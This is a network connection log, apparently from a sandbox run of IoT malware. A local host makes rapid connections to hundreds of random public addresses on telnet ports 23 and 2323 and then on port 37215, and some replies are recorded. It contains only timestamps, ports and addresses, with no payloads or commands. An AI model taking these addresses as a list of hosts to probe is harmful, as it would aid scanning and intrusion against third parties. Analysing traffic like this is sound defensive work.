Oct 8, 2024 20:34:52.259207964 CEST	48168	23	192.168.2.14	87.111.123.69
Oct 8, 2024 20:34:52.259211063 CEST	48168	23	192.168.2.14	92.92.117.106
Oct 8, 2024 20:34:52.259212971 CEST	48168	23	192.168.2.14	103.194.198.76
Oct 8, 2024 20:34:52.259217978 CEST	48168	23	192.168.2.14	63.184.118.238
Oct 8, 2024 20:34:52.259217978 CEST	48168	23	192.168.2.14	64.19.209.218
Oct 8, 2024 20:34:52.259243965 CEST	48168	23	192.168.2.14	141.65.163.6
Oct 8, 2024 20:34:52.259257078 CEST	48168	2323	192.168.2.14	119.40.224.238
Oct 8, 2024 20:34:52.259258032 CEST	48168	23	192.168.2.14	203.176.102.118
Oct 8, 2024 20:34:52.259273052 CEST	48168	23	192.168.2.14	58.33.146.246
Oct 8, 2024 20:34:52.259275913 CEST	48168	23	192.168.2.14	12.202.109.91
Oct 8, 2024 20:34:52.259279966 CEST	48168	23	192.168.2.14	42.41.87.151
Oct 8, 2024 20:34:52.259295940 CEST	48168	23	192.168.2.14	213.97.128.187
Oct 8, 2024 20:34:52.259295940 CEST	48168	23	192.168.2.14	142.14.20.10
Oct 8, 2024 20:34:52.259316921 CEST	48168	23	192.168.2.14	198.142.13.153
Oct 8, 2024 20:34:52.259316921 CEST	48168	23	192.168.2.14	87.84.189.49
Oct 8, 2024 20:34:52.259322882 CEST	48168	23	192.168.2.14	110.39.107.123
Oct 8, 2024 20:34:52.259337902 CEST	48168	23	192.168.2.14	199.100.165.180
Oct 8, 2024 20:34:52.259342909 CEST	48168	2323	192.168.2.14	53.92.143.40
Oct 8, 2024 20:34:52.259357929 CEST	48168	23	192.168.2.14	194.158.232.171
Oct 8, 2024 20:34:52.259367943 CEST	48168	23	192.168.2.14	160.92.190.87
Oct 8, 2024 20:34:52.259381056 CEST	48168	23	192.168.2.14	53.52.155.251
Oct 8, 2024 20:34:52.259367943 CEST	48168	23	192.168.2.14	159.107.19.46
Oct 8, 2024 20:34:52.259398937 CEST	48168	23	192.168.2.14	100.185.29.239
Oct 8, 2024 20:34:52.259401083 CEST	48168	23	192.168.2.14	164.14.103.175
Oct 8, 2024 20:34:52.259412050 CEST	48168	23	192.168.2.14	136.148.74.152
Oct 8, 2024 20:34:52.259412050 CEST	48168	23	192.168.2.14	208.103.141.206
Oct 8, 2024 20:34:52.259412050 CEST	48168	23	192.168.2.14	109.228.11.49
Oct 8, 2024 20:34:52.259432077 CEST	48168	2323	192.168.2.14	43.33.187.108
Oct 8, 2024 20:34:52.259443998 CEST	48168	23	192.168.2.14	135.12.194.210
Oct 8, 2024 20:34:52.259452105 CEST	48168	23	192.168.2.14	149.59.171.197
Oct 8, 2024 20:34:52.259457111 CEST	48168	23	192.168.2.14	154.233.96.137
Oct 8, 2024 20:34:52.259457111 CEST	48168	23	192.168.2.14	71.118.106.3
Oct 8, 2024 20:34:52.259473085 CEST	48168	23	192.168.2.14	196.241.98.125
Oct 8, 2024 20:34:52.259485960 CEST	48168	23	192.168.2.14	69.156.201.96
Oct 8, 2024 20:34:52.259496927 CEST	48168	23	192.168.2.14	209.173.171.254
Oct 8, 2024 20:34:52.259536982 CEST	48168	23	192.168.2.14	75.58.183.234
Oct 8, 2024 20:34:52.259552956 CEST	48168	23	192.168.2.14	108.112.22.177
Oct 8, 2024 20:34:52.259557009 CEST	48168	23	192.168.2.14	209.170.223.53
Oct 8, 2024 20:34:52.259574890 CEST	48168	2323	192.168.2.14	151.249.56.161
Oct 8, 2024 20:34:52.259574890 CEST	48168	23	192.168.2.14	81.30.193.214
Oct 8, 2024 20:34:52.259577990 CEST	48168	23	192.168.2.14	103.215.102.69
Oct 8, 2024 20:34:52.259594917 CEST	48168	23	192.168.2.14	150.141.72.147
Oct 8, 2024 20:34:52.259601116 CEST	48168	23	192.168.2.14	48.107.94.45
Oct 8, 2024 20:34:52.259608030 CEST	48168	23	192.168.2.14	158.43.54.58
Oct 8, 2024 20:34:52.259613037 CEST	48168	23	192.168.2.14	62.174.132.216
Oct 8, 2024 20:34:52.259624004 CEST	48168	23	192.168.2.14	72.77.149.224
Oct 8, 2024 20:34:52.259634018 CEST	48168	23	192.168.2.14	210.135.104.88
Oct 8, 2024 20:34:52.259645939 CEST	48168	2323	192.168.2.14	9.62.75.6
Oct 8, 2024 20:34:52.259670019 CEST	48168	23	192.168.2.14	139.7.191.232
Oct 8, 2024 20:34:52.259671926 CEST	48168	23	192.168.2.14	153.186.92.83
Oct 8, 2024 20:34:52.259680033 CEST	48168	23	192.168.2.14	152.188.85.140
Oct 8, 2024 20:34:52.259681940 CEST	48168	23	192.168.2.14	74.14.92.189
Oct 8, 2024 20:34:52.259695053 CEST	48168	23	192.168.2.14	93.247.178.137
Oct 8, 2024 20:34:52.259695053 CEST	48168	23	192.168.2.14	65.101.181.112
Oct 8, 2024 20:34:52.259716034 CEST	48168	23	192.168.2.14	57.187.195.193
Oct 8, 2024 20:34:52.259715080 CEST	48168	23	192.168.2.14	160.221.175.111
Oct 8, 2024 20:34:52.259715080 CEST	48168	23	192.168.2.14	178.119.141.139
Oct 8, 2024 20:34:52.259736061 CEST	48168	2323	192.168.2.14	193.173.190.119
Oct 8, 2024 20:34:52.259740114 CEST	48168	23	192.168.2.14	163.55.155.151
Oct 8, 2024 20:34:52.259748936 CEST	48168	23	192.168.2.14	70.102.90.128
Oct 8, 2024 20:34:52.259756088 CEST	48168	23	192.168.2.14	210.153.183.61
Oct 8, 2024 20:34:52.259766102 CEST	48168	23	192.168.2.14	68.138.58.190
Oct 8, 2024 20:34:52.259779930 CEST	48168	23	192.168.2.14	38.89.52.92
Oct 8, 2024 20:34:52.259797096 CEST	48168	23	192.168.2.14	34.142.227.223
Oct 8, 2024 20:34:52.259797096 CEST	48168	23	192.168.2.14	8.154.96.9
Oct 8, 2024 20:34:52.259804010 CEST	48168	23	192.168.2.14	187.201.181.154
Oct 8, 2024 20:34:52.259809971 CEST	48168	23	192.168.2.14	83.208.164.74
Oct 8, 2024 20:34:52.259825945 CEST	48168	2323	192.168.2.14	203.201.13.232
Oct 8, 2024 20:34:52.259830952 CEST	48168	23	192.168.2.14	37.155.215.131
Oct 8, 2024 20:34:52.259845972 CEST	48168	23	192.168.2.14	40.19.28.5
Oct 8, 2024 20:34:52.259845972 CEST	48168	23	192.168.2.14	53.81.88.7
Oct 8, 2024 20:34:52.259869099 CEST	48168	23	192.168.2.14	172.191.108.232
Oct 8, 2024 20:34:52.259891033 CEST	48168	23	192.168.2.14	69.109.139.249
Oct 8, 2024 20:34:52.259892941 CEST	48168	23	192.168.2.14	175.71.172.204
Oct 8, 2024 20:34:52.259907007 CEST	48168	23	192.168.2.14	34.158.13.181
Oct 8, 2024 20:34:52.259913921 CEST	48168	23	192.168.2.14	71.184.153.192
Oct 8, 2024 20:34:52.259915113 CEST	48168	2323	192.168.2.14	160.13.216.163
Oct 8, 2024 20:34:52.259931087 CEST	48168	23	192.168.2.14	202.80.50.44
Oct 8, 2024 20:34:52.259932041 CEST	48168	23	192.168.2.14	160.99.144.111
Oct 8, 2024 20:34:52.259932041 CEST	48168	23	192.168.2.14	36.141.123.26
Oct 8, 2024 20:34:52.259932995 CEST	48168	23	192.168.2.14	201.253.68.127
Oct 8, 2024 20:34:52.259944916 CEST	48168	23	192.168.2.14	115.13.235.250
Oct 8, 2024 20:34:52.259963036 CEST	48168	23	192.168.2.14	188.35.249.65
Oct 8, 2024 20:34:52.259967089 CEST	48168	23	192.168.2.14	75.24.78.234
Oct 8, 2024 20:34:52.259970903 CEST	48168	23	192.168.2.14	190.141.71.138
Oct 8, 2024 20:34:52.259980917 CEST	48168	23	192.168.2.14	117.215.32.74
Oct 8, 2024 20:34:52.259989023 CEST	48168	23	192.168.2.14	105.117.254.143
Oct 8, 2024 20:34:52.259999037 CEST	48168	2323	192.168.2.14	209.97.116.163
Oct 8, 2024 20:34:52.260006905 CEST	48168	23	192.168.2.14	159.88.208.4
Oct 8, 2024 20:34:52.260020971 CEST	48168	23	192.168.2.14	45.100.52.231
Oct 8, 2024 20:34:52.260036945 CEST	48168	23	192.168.2.14	129.5.188.169
Oct 8, 2024 20:34:52.260039091 CEST	48168	23	192.168.2.14	68.31.141.85
Oct 8, 2024 20:34:52.260057926 CEST	48168	23	192.168.2.14	175.21.238.65
Oct 8, 2024 20:34:52.260090113 CEST	48168	2323	192.168.2.14	81.86.11.167
Oct 8, 2024 20:34:52.260091066 CEST	48168	23	192.168.2.14	47.114.7.51
Oct 8, 2024 20:34:52.260091066 CEST	48168	23	192.168.2.14	109.110.57.196
Oct 8, 2024 20:34:52.260091066 CEST	48168	23	192.168.2.14	164.240.79.192
Oct 8, 2024 20:34:52.260103941 CEST	48168	23	192.168.2.14	197.245.11.97
Oct 8, 2024 20:34:52.260113001 CEST	48168	23	192.168.2.14	198.172.144.191
Oct 8, 2024 20:34:52.260126114 CEST	48168	23	192.168.2.14	182.66.195.190
Oct 8, 2024 20:34:52.260127068 CEST	48168	23	192.168.2.14	40.144.195.97
Oct 8, 2024 20:34:52.260164976 CEST	48168	23	192.168.2.14	197.26.48.47
Oct 8, 2024 20:34:52.260166883 CEST	48168	23	192.168.2.14	107.191.42.192
Oct 8, 2024 20:34:52.260166883 CEST	48168	23	192.168.2.14	126.113.26.157
Oct 8, 2024 20:34:52.260166883 CEST	48168	2323	192.168.2.14	186.181.48.63
Oct 8, 2024 20:34:52.260170937 CEST	48168	23	192.168.2.14	85.246.141.28
Oct 8, 2024 20:34:52.260170937 CEST	48168	23	192.168.2.14	173.160.218.39
Oct 8, 2024 20:34:52.260185003 CEST	48168	23	192.168.2.14	76.131.191.137
Oct 8, 2024 20:34:52.260199070 CEST	48168	23	192.168.2.14	23.169.154.119
Oct 8, 2024 20:34:52.260210991 CEST	48168	23	192.168.2.14	19.186.193.26
Oct 8, 2024 20:34:52.260214090 CEST	48168	23	192.168.2.14	221.1.163.179
Oct 8, 2024 20:34:52.260234118 CEST	48168	23	192.168.2.14	184.191.177.19
Oct 8, 2024 20:34:52.260235071 CEST	48168	23	192.168.2.14	168.226.126.19
Oct 8, 2024 20:34:52.260238886 CEST	48168	23	192.168.2.14	111.28.10.221
Oct 8, 2024 20:34:52.260238886 CEST	48168	23	192.168.2.14	167.90.86.123
Oct 8, 2024 20:34:52.260250092 CEST	48168	23	192.168.2.14	156.33.81.221
Oct 8, 2024 20:34:52.260250092 CEST	48168	23	192.168.2.14	176.66.28.0
Oct 8, 2024 20:34:52.260266066 CEST	48168	23	192.168.2.14	172.81.45.147
Oct 8, 2024 20:34:52.260283947 CEST	48168	2323	192.168.2.14	185.110.244.47
Oct 8, 2024 20:34:52.260283947 CEST	48168	23	192.168.2.14	108.231.121.181
Oct 8, 2024 20:34:52.260286093 CEST	48168	23	192.168.2.14	165.15.180.129
Oct 8, 2024 20:34:52.260302067 CEST	48168	23	192.168.2.14	86.137.197.81
Oct 8, 2024 20:34:52.260308981 CEST	48168	23	192.168.2.14	59.120.112.237
Oct 8, 2024 20:34:52.260308981 CEST	48168	23	192.168.2.14	34.172.208.252
Oct 8, 2024 20:34:52.260314941 CEST	48168	23	192.168.2.14	198.184.93.100
Oct 8, 2024 20:34:52.260314941 CEST	48168	23	192.168.2.14	8.74.139.35
Oct 8, 2024 20:34:52.260329962 CEST	48168	23	192.168.2.14	177.217.152.3
Oct 8, 2024 20:34:52.260346889 CEST	48168	23	192.168.2.14	44.210.44.172
Oct 8, 2024 20:34:52.260348082 CEST	48168	2323	192.168.2.14	212.177.203.149
Oct 8, 2024 20:34:52.260349035 CEST	48168	23	192.168.2.14	123.204.105.76
Oct 8, 2024 20:34:52.260361910 CEST	48168	23	192.168.2.14	165.129.80.202
Oct 8, 2024 20:34:52.260376930 CEST	48168	23	192.168.2.14	204.140.148.38
Oct 8, 2024 20:34:52.260376930 CEST	48168	23	192.168.2.14	37.177.186.24
Oct 8, 2024 20:34:52.260399103 CEST	48168	23	192.168.2.14	62.140.39.90
Oct 8, 2024 20:34:52.260404110 CEST	48168	23	192.168.2.14	72.92.19.139
Oct 8, 2024 20:34:52.260406017 CEST	48168	23	192.168.2.14	184.92.72.137
Oct 8, 2024 20:34:52.260421038 CEST	48168	23	192.168.2.14	85.30.157.177
Oct 8, 2024 20:34:52.260426998 CEST	48168	2323	192.168.2.14	38.73.231.214
Oct 8, 2024 20:34:52.260442019 CEST	48168	23	192.168.2.14	124.221.179.140
Oct 8, 2024 20:34:52.260442972 CEST	48168	23	192.168.2.14	114.41.211.58
Oct 8, 2024 20:34:52.260445118 CEST	48168	23	192.168.2.14	189.75.219.192
Oct 8, 2024 20:34:52.260448933 CEST	48168	23	192.168.2.14	195.103.11.226
Oct 8, 2024 20:34:52.260467052 CEST	48168	23	192.168.2.14	187.252.66.198
Oct 8, 2024 20:34:52.260476112 CEST	48168	23	192.168.2.14	210.191.71.23
Oct 8, 2024 20:34:52.260509014 CEST	48168	23	192.168.2.14	157.42.150.232
Oct 8, 2024 20:34:52.260533094 CEST	48168	23	192.168.2.14	72.120.30.141
Oct 8, 2024 20:34:52.260538101 CEST	48168	23	192.168.2.14	125.102.178.86
Oct 8, 2024 20:34:52.264473915 CEST	23	48168	202.198.242.240	192.168.2.14
Oct 8, 2024 20:34:52.264508963 CEST	23	48168	61.37.233.185	192.168.2.14
Oct 8, 2024 20:34:52.264539003 CEST	23	48168	68.13.0.55	192.168.2.14
Oct 8, 2024 20:34:52.264544964 CEST	48168	23	192.168.2.14	202.198.242.240
Oct 8, 2024 20:34:52.264573097 CEST	48168	23	192.168.2.14	61.37.233.185
Oct 8, 2024 20:34:52.264590979 CEST	48168	23	192.168.2.14	68.13.0.55
Oct 8, 2024 20:34:52.264596939 CEST	2323	48168	181.37.45.254	192.168.2.14
Oct 8, 2024 20:34:52.264642000 CEST	23	48168	31.28.174.162	192.168.2.14
Oct 8, 2024 20:34:52.264657021 CEST	48168	2323	192.168.2.14	181.37.45.254
Oct 8, 2024 20:34:52.264686108 CEST	48168	23	192.168.2.14	31.28.174.162
Oct 8, 2024 20:34:52.264691114 CEST	23	48168	110.105.123.143	192.168.2.14
Oct 8, 2024 20:34:52.264735937 CEST	48168	23	192.168.2.14	110.105.123.143
Oct 8, 2024 20:34:52.264748096 CEST	23	48168	144.95.180.229	192.168.2.14
Oct 8, 2024 20:34:52.264780998 CEST	23	48168	153.245.25.145	192.168.2.14
Oct 8, 2024 20:34:52.264792919 CEST	48168	23	192.168.2.14	144.95.180.229
Oct 8, 2024 20:34:52.264811039 CEST	23	48168	186.35.234.128	192.168.2.14
Oct 8, 2024 20:34:52.264822960 CEST	48168	23	192.168.2.14	153.245.25.145
Oct 8, 2024 20:34:52.264853001 CEST	23	48168	221.156.91.129	192.168.2.14
Oct 8, 2024 20:34:52.264868021 CEST	48168	23	192.168.2.14	186.35.234.128
Oct 8, 2024 20:34:52.264897108 CEST	48168	23	192.168.2.14	221.156.91.129
Oct 8, 2024 20:34:52.264897108 CEST	2323	48168	4.21.87.5	192.168.2.14
Oct 8, 2024 20:34:52.264950991 CEST	23	48168	27.201.193.83	192.168.2.14
Oct 8, 2024 20:34:52.264981985 CEST	23	48168	67.11.200.112	192.168.2.14
Oct 8, 2024 20:34:52.265006065 CEST	48168	2323	192.168.2.14	4.21.87.5
Oct 8, 2024 20:34:52.265006065 CEST	48168	23	192.168.2.14	27.201.193.83
Oct 8, 2024 20:34:52.265012026 CEST	23	48168	87.111.123.69	192.168.2.14
Oct 8, 2024 20:34:52.265028000 CEST	48168	23	192.168.2.14	67.11.200.112
Oct 8, 2024 20:34:52.265041113 CEST	23	48168	103.194.198.76	192.168.2.14
Oct 8, 2024 20:34:52.265054941 CEST	48168	23	192.168.2.14	87.111.123.69
Oct 8, 2024 20:34:52.265072107 CEST	23	48168	63.184.118.238	192.168.2.14
Oct 8, 2024 20:34:52.265094995 CEST	48168	23	192.168.2.14	103.194.198.76
Oct 8, 2024 20:34:52.265131950 CEST	48168	23	192.168.2.14	63.184.118.238
Oct 8, 2024 20:34:52.265319109 CEST	23	48168	64.19.209.218	192.168.2.14
Oct 8, 2024 20:34:52.265351057 CEST	23	48168	92.92.117.106	192.168.2.14
Oct 8, 2024 20:34:52.265382051 CEST	23	48168	141.65.163.6	192.168.2.14
Oct 8, 2024 20:34:52.265393019 CEST	48168	23	192.168.2.14	64.19.209.218
Oct 8, 2024 20:34:52.265394926 CEST	48168	23	192.168.2.14	92.92.117.106
Oct 8, 2024 20:34:52.265422106 CEST	23	48168	203.176.102.118	192.168.2.14
Oct 8, 2024 20:34:52.265436888 CEST	48168	23	192.168.2.14	141.65.163.6
Oct 8, 2024 20:34:52.265463114 CEST	48168	23	192.168.2.14	203.176.102.118
Oct 8, 2024 20:34:52.265467882 CEST	2323	48168	119.40.224.238	192.168.2.14
Oct 8, 2024 20:34:52.265496969 CEST	23	48168	58.33.146.246	192.168.2.14
Oct 8, 2024 20:34:52.265506983 CEST	48168	2323	192.168.2.14	119.40.224.238
Oct 8, 2024 20:34:52.265527964 CEST	23	48168	12.202.109.91	192.168.2.14
Oct 8, 2024 20:34:52.265538931 CEST	48168	23	192.168.2.14	58.33.146.246
Oct 8, 2024 20:34:52.265558958 CEST	23	48168	42.41.87.151	192.168.2.14
Oct 8, 2024 20:34:52.265590906 CEST	23	48168	213.97.128.187	192.168.2.14
Oct 8, 2024 20:34:52.265620947 CEST	23	48168	142.14.20.10	192.168.2.14
Oct 8, 2024 20:34:52.265652895 CEST	23	48168	198.142.13.153	192.168.2.14
Oct 8, 2024 20:34:52.265671015 CEST	48168	23	192.168.2.14	12.202.109.91
Oct 8, 2024 20:34:52.265671015 CEST	48168	23	192.168.2.14	213.97.128.187
Oct 8, 2024 20:34:52.265671015 CEST	48168	23	192.168.2.14	142.14.20.10
Oct 8, 2024 20:34:52.265682936 CEST	23	48168	110.39.107.123	192.168.2.14
Oct 8, 2024 20:34:52.265692949 CEST	48168	23	192.168.2.14	198.142.13.153
Oct 8, 2024 20:34:52.265698910 CEST	48168	23	192.168.2.14	42.41.87.151
Oct 8, 2024 20:34:52.265713930 CEST	23	48168	87.84.189.49	192.168.2.14
Oct 8, 2024 20:34:52.265746117 CEST	23	48168	199.100.165.180	192.168.2.14
Oct 8, 2024 20:34:52.265752077 CEST	48168	23	192.168.2.14	110.39.107.123
Oct 8, 2024 20:34:52.265757084 CEST	48168	23	192.168.2.14	87.84.189.49
Oct 8, 2024 20:34:52.265799046 CEST	2323	48168	53.92.143.40	192.168.2.14
Oct 8, 2024 20:34:52.265809059 CEST	48168	23	192.168.2.14	199.100.165.180
Oct 8, 2024 20:34:52.265831947 CEST	23	48168	194.158.232.171	192.168.2.14
Oct 8, 2024 20:34:52.265841961 CEST	48168	2323	192.168.2.14	53.92.143.40
Oct 8, 2024 20:34:52.265861988 CEST	23	48168	53.52.155.251	192.168.2.14
Oct 8, 2024 20:34:52.265892982 CEST	23	48168	160.92.190.87	192.168.2.14
Oct 8, 2024 20:34:52.265894890 CEST	48168	23	192.168.2.14	194.158.232.171
Oct 8, 2024 20:34:52.265901089 CEST	48168	23	192.168.2.14	53.52.155.251
Oct 8, 2024 20:34:52.265923023 CEST	23	48168	159.107.19.46	192.168.2.14
Oct 8, 2024 20:34:52.265937090 CEST	48168	23	192.168.2.14	160.92.190.87
Oct 8, 2024 20:34:52.265959978 CEST	48168	23	192.168.2.14	159.107.19.46
Oct 8, 2024 20:34:52.265975952 CEST	23	48168	100.185.29.239	192.168.2.14
Oct 8, 2024 20:34:52.266006947 CEST	23	48168	164.14.103.175	192.168.2.14
Oct 8, 2024 20:34:52.266014099 CEST	48168	23	192.168.2.14	100.185.29.239
Oct 8, 2024 20:34:52.266037941 CEST	23	48168	136.148.74.152	192.168.2.14
Oct 8, 2024 20:34:52.266067028 CEST	23	48168	208.103.141.206	192.168.2.14
Oct 8, 2024 20:34:52.266068935 CEST	48168	23	192.168.2.14	164.14.103.175
Oct 8, 2024 20:34:52.266084909 CEST	48168	23	192.168.2.14	136.148.74.152
Oct 8, 2024 20:34:52.266098022 CEST	23	48168	109.228.11.49	192.168.2.14
Oct 8, 2024 20:34:52.266104937 CEST	48168	23	192.168.2.14	208.103.141.206
Oct 8, 2024 20:34:52.266129017 CEST	2323	48168	43.33.187.108	192.168.2.14
Oct 8, 2024 20:34:52.266140938 CEST	48168	23	192.168.2.14	109.228.11.49
Oct 8, 2024 20:34:52.266159058 CEST	23	48168	135.12.194.210	192.168.2.14
Oct 8, 2024 20:34:52.266202927 CEST	48168	23	192.168.2.14	135.12.194.210
Oct 8, 2024 20:34:52.266212940 CEST	23	48168	149.59.171.197	192.168.2.14
Oct 8, 2024 20:34:52.266231060 CEST	48168	2323	192.168.2.14	43.33.187.108
Oct 8, 2024 20:34:52.266243935 CEST	23	48168	154.233.96.137	192.168.2.14
Oct 8, 2024 20:34:52.266273975 CEST	23	48168	71.118.106.3	192.168.2.14
Oct 8, 2024 20:34:52.266287088 CEST	48168	23	192.168.2.14	154.233.96.137
Oct 8, 2024 20:34:52.266307116 CEST	23	48168	196.241.98.125	192.168.2.14
Oct 8, 2024 20:34:52.266308069 CEST	48168	23	192.168.2.14	149.59.171.197
Oct 8, 2024 20:34:52.266319990 CEST	48168	23	192.168.2.14	71.118.106.3
Oct 8, 2024 20:34:52.266336918 CEST	23	48168	69.156.201.96	192.168.2.14
Oct 8, 2024 20:34:52.266351938 CEST	48168	23	192.168.2.14	196.241.98.125
Oct 8, 2024 20:34:52.266367912 CEST	23	48168	209.173.171.254	192.168.2.14
Oct 8, 2024 20:34:52.266381025 CEST	48168	23	192.168.2.14	69.156.201.96
Oct 8, 2024 20:34:52.266407013 CEST	23	48168	75.58.183.234	192.168.2.14
Oct 8, 2024 20:34:52.266422987 CEST	48168	23	192.168.2.14	209.173.171.254
Oct 8, 2024 20:34:52.266448021 CEST	48168	23	192.168.2.14	75.58.183.234
Oct 8, 2024 20:34:52.266452074 CEST	23	48168	209.170.223.53	192.168.2.14
Oct 8, 2024 20:34:52.266483068 CEST	23	48168	108.112.22.177	192.168.2.14
Oct 8, 2024 20:34:52.266494036 CEST	48168	23	192.168.2.14	209.170.223.53
Oct 8, 2024 20:34:52.266530991 CEST	48168	23	192.168.2.14	108.112.22.177
Oct 8, 2024 20:34:52.266562939 CEST	2323	48168	151.249.56.161	192.168.2.14
Oct 8, 2024 20:34:52.266592979 CEST	23	48168	81.30.193.214	192.168.2.14
Oct 8, 2024 20:34:52.266625881 CEST	23	48168	103.215.102.69	192.168.2.14
Oct 8, 2024 20:34:52.266657114 CEST	23	48168	48.107.94.45	192.168.2.14
Oct 8, 2024 20:34:52.266664028 CEST	48168	23	192.168.2.14	103.215.102.69
Oct 8, 2024 20:34:52.266688108 CEST	23	48168	158.43.54.58	192.168.2.14
Oct 8, 2024 20:34:52.266697884 CEST	48168	2323	192.168.2.14	151.249.56.161
Oct 8, 2024 20:34:52.266697884 CEST	48168	23	192.168.2.14	81.30.193.214
Oct 8, 2024 20:34:52.266716957 CEST	48168	23	192.168.2.14	48.107.94.45
Oct 8, 2024 20:34:52.266719103 CEST	23	48168	150.141.72.147	192.168.2.14
Oct 8, 2024 20:34:52.266726971 CEST	48168	23	192.168.2.14	158.43.54.58
Oct 8, 2024 20:34:52.266750097 CEST	23	48168	62.174.132.216	192.168.2.14
Oct 8, 2024 20:34:52.266771078 CEST	48168	23	192.168.2.14	150.141.72.147
Oct 8, 2024 20:34:52.266789913 CEST	23	48168	72.77.149.224	192.168.2.14
Oct 8, 2024 20:34:52.266805887 CEST	48168	23	192.168.2.14	62.174.132.216
Oct 8, 2024 20:34:52.266838074 CEST	23	48168	210.135.104.88	192.168.2.14
Oct 8, 2024 20:34:52.266866922 CEST	48168	23	192.168.2.14	72.77.149.224
Oct 8, 2024 20:34:52.266868114 CEST	2323	48168	9.62.75.6	192.168.2.14
Oct 8, 2024 20:34:52.266882896 CEST	48168	23	192.168.2.14	210.135.104.88
Oct 8, 2024 20:34:52.266899109 CEST	23	48168	139.7.191.232	192.168.2.14
Oct 8, 2024 20:34:52.266907930 CEST	48168	2323	192.168.2.14	9.62.75.6
Oct 8, 2024 20:34:52.266930103 CEST	23	48168	153.186.92.83	192.168.2.14
Oct 8, 2024 20:34:52.266959906 CEST	23	48168	152.188.85.140	192.168.2.14
Oct 8, 2024 20:34:52.266964912 CEST	48168	23	192.168.2.14	139.7.191.232
Oct 8, 2024 20:34:52.266979933 CEST	48168	23	192.168.2.14	153.186.92.83
Oct 8, 2024 20:34:52.266990900 CEST	23	48168	74.14.92.189	192.168.2.14
Oct 8, 2024 20:34:52.267004013 CEST	48168	23	192.168.2.14	152.188.85.140
Oct 8, 2024 20:34:52.267020941 CEST	23	48168	93.247.178.137	192.168.2.14
Oct 8, 2024 20:34:52.267051935 CEST	48168	23	192.168.2.14	74.14.92.189
Oct 8, 2024 20:34:52.267071009 CEST	48168	23	192.168.2.14	93.247.178.137
Oct 8, 2024 20:34:52.267081022 CEST	23	48168	65.101.181.112	192.168.2.14
Oct 8, 2024 20:34:52.267111063 CEST	23	48168	57.187.195.193	192.168.2.14
Oct 8, 2024 20:34:52.267126083 CEST	48168	23	192.168.2.14	65.101.181.112
Oct 8, 2024 20:34:52.267142057 CEST	23	48168	160.221.175.111	192.168.2.14
Oct 8, 2024 20:34:52.267152071 CEST	48168	23	192.168.2.14	57.187.195.193
Oct 8, 2024 20:34:52.267179012 CEST	23	48168	178.119.141.139	192.168.2.14
Oct 8, 2024 20:34:52.267184019 CEST	48168	23	192.168.2.14	160.221.175.111
Oct 8, 2024 20:34:52.267222881 CEST	48168	23	192.168.2.14	178.119.141.139
Oct 8, 2024 20:34:52.511569977 CEST	43554	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:52.511574030 CEST	35338	37215	192.168.2.14	197.200.173.97
Oct 8, 2024 20:34:52.511574030 CEST	51932	37215	192.168.2.14	156.214.68.98
Oct 8, 2024 20:34:52.511586905 CEST	35124	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:52.511599064 CEST	43358	37215	192.168.2.14	156.20.24.103
Oct 8, 2024 20:34:52.511599064 CEST	37268	37215	192.168.2.14	197.235.13.125
Oct 8, 2024 20:34:52.511599064 CEST	60678	37215	192.168.2.14	156.100.4.160
Oct 8, 2024 20:34:52.511603117 CEST	36092	37215	192.168.2.14	41.146.184.33
Oct 8, 2024 20:34:52.511615992 CEST	57476	37215	192.168.2.14	197.130.245.62
Oct 8, 2024 20:34:52.511616945 CEST	51278	37215	192.168.2.14	41.201.10.202
Oct 8, 2024 20:34:52.511625051 CEST	59808	37215	192.168.2.14	197.129.240.243
Oct 8, 2024 20:34:52.511625051 CEST	40878	37215	192.168.2.14	197.10.242.92
Oct 8, 2024 20:34:52.511640072 CEST	47370	37215	192.168.2.14	156.22.71.139
Oct 8, 2024 20:34:52.511640072 CEST	52492	37215	192.168.2.14	156.224.232.229
Oct 8, 2024 20:34:52.511641979 CEST	53188	37215	192.168.2.14	41.154.117.250
Oct 8, 2024 20:34:52.511642933 CEST	35306	37215	192.168.2.14	156.172.212.115
Oct 8, 2024 20:34:52.511641979 CEST	60088	37215	192.168.2.14	156.155.185.214
Oct 8, 2024 20:34:52.511642933 CEST	40966	37215	192.168.2.14	41.145.207.152
Oct 8, 2024 20:34:52.511652946 CEST	42070	37215	192.168.2.14	41.213.200.73
Oct 8, 2024 20:34:52.511652946 CEST	34426	37215	192.168.2.14	156.233.49.226
Oct 8, 2024 20:34:52.511658907 CEST	43118	37215	192.168.2.14	197.61.137.233
Oct 8, 2024 20:34:52.511658907 CEST	41706	37215	192.168.2.14	156.212.202.95
Oct 8, 2024 20:34:52.511674881 CEST	39694	37215	192.168.2.14	197.19.239.208
Oct 8, 2024 20:34:52.511677027 CEST	58528	37215	192.168.2.14	197.78.132.32
Oct 8, 2024 20:34:52.511677980 CEST	42222	37215	192.168.2.14	197.115.31.20
Oct 8, 2024 20:34:52.511677980 CEST	49978	37215	192.168.2.14	197.56.146.34
Oct 8, 2024 20:34:52.511684895 CEST	48208	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:52.511686087 CEST	43924	37215	192.168.2.14	156.207.208.73
Oct 8, 2024 20:34:52.511684895 CEST	60646	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:52.511684895 CEST	38768	37215	192.168.2.14	156.199.215.78
Oct 8, 2024 20:34:52.511684895 CEST	39124	37215	192.168.2.14	197.84.216.15
Oct 8, 2024 20:34:52.511689901 CEST	44898	37215	192.168.2.14	156.36.51.231
Oct 8, 2024 20:34:52.511691093 CEST	59892	37215	192.168.2.14	156.32.183.41
Oct 8, 2024 20:34:52.511689901 CEST	37752	37215	192.168.2.14	156.124.250.23
Oct 8, 2024 20:34:52.511691093 CEST	53232	37215	192.168.2.14	197.193.39.52
Oct 8, 2024 20:34:52.511703014 CEST	58854	37215	192.168.2.14	156.36.221.25
Oct 8, 2024 20:34:52.511713982 CEST	60178	37215	192.168.2.14	156.223.144.169
Oct 8, 2024 20:34:52.516892910 CEST	37215	43554	156.110.224.192	192.168.2.14
Oct 8, 2024 20:34:52.516930103 CEST	37215	35124	41.210.137.100	192.168.2.14
Oct 8, 2024 20:34:52.516961098 CEST	37215	36092	41.146.184.33	192.168.2.14
Oct 8, 2024 20:34:52.516978025 CEST	35124	37215	192.168.2.14	41.210.137.100
Oct 8, 2024 20:34:52.516988993 CEST	43554	37215	192.168.2.14	156.110.224.192
Oct 8, 2024 20:34:52.517004013 CEST	36092	37215	192.168.2.14	41.146.184.33
Oct 8, 2024 20:34:52.517016888 CEST	37215	43358	156.20.24.103	192.168.2.14
